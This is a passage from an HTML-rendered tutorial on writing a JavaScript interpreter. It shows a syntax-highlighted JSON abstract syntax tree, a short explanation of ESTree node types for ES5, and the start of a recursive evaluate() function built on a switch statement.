syntax-array syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-array syntax-begin syntax-json\">[</span>\n  <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>VariableDeclaration<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>kind<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>var<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>id<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>x<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>init<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>NumericLiteral<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>value<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-constant syntax-numeric syntax-json\">5</span> </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span>\n  </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-array syntax-json\">,</span>\n  <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>VariableDeclaration<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>kind<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>var<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>id<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>y<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>init<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>NumericLiteral<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>value<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-constant syntax-numeric syntax-json\">10</span> </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span>\n  </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-array syntax-json\">,</span>\n  <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>ExpressionStatement<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n    <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>expression<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span>\n      <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>BinaryExpression<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n      <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>left<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>Identifier<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>name<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>x<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span> </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n      <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>operator<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>+<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span>\n      <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>right<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-json\"><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-begin syntax-json\">{</span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>Identifier<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-pair syntax-json\">,</span></span> <span class=\"syntax-meta syntax-structure syntax-dictionary syntax-key syntax-json\"><span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>name<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span></span><span class=\"syntax-meta syntax-structure syntax-dictionary syntax-value syntax-json\"><span class=\"syntax-punctuation syntax-separator syntax-dictionary syntax-key-value syntax-json\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-json\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-json\">&quot;</span>y<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-json\">&quot;</span></span> </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span>\n    </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span>\n  </span><span class=\"syntax-punctuation syntax-section syntax-dictionary syntax-end syntax-json\">}</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-array syntax-end syntax-json\">]</span></span>\n</span></span></code></pre>\n<p>The AST consists of nodes where each node represents a language concept like a variable declaration, a binary expression like an addition, numeric literals, identifiers, function calls, and so on. How do we know which AST node types are available? Well, that depends on the flavor of JavaScript we are trying to compile. The most basic standardized version of JavaScript is ECMAScript 5 from 2009, which is still widely used as a baseline.</p>\n<p>The wonderful people of the <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/estree/estree/blob/master/es5.md\">ESTree project</a> have documented which AST nodes we can expect for ES5. So to build an interpreter, all that's left is to have a big fat switch statement that interprets, that is, executes each type of AST node recursively.</p>\n<p>Here's a simplified version of what that looks like:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span> <span class=\"syntax-entity syntax-name syntax-function syntax-js\">evaluate</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">node</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">scope</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-meta syntax-switch syntax-js\"><span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">switch</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">type</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>NumericLiteral<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span>\n            <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">value</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n        <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>Identifier<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span>\n            <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">scope</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">getVariable</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">name</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n        <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>BinaryExpression<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span>\n            <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">left</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">evaluate</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">left</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">scope</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n            <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">right</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-function-call syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">evaluate</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">right</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">scope</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n            <span class=\"syntax-meta syntax-switch syntax-js\"><span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">switch</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">operator</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n                <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>+<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span> <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">left</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">+</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">right</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n                <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>-<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span> <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">left</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">-</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">right</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n                <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>*<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span> <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">left</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">*</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">right</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n                <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>/<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span> <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">left</span> <span class=\"syntax-keyword syntax-operator syntax-arithmetic syntax-js\">/</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">right</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n                <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ... more operators\n</span>            </span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span>\n\n        <span class=\"syntax-keyword syntax-control syntax-switch syntax-js\">case</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>VariableDeclaration<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-js\">:</span>\n            <span class=\"syntax-meta syntax-for syntax-js\"><span class=\"syntax-keyword syntax-control syntax-loop syntax-js\">for</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">decl</span> <span class=\"syntax-keyword syntax-operator syntax-js\">of</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">node</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">declarations</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n                <span 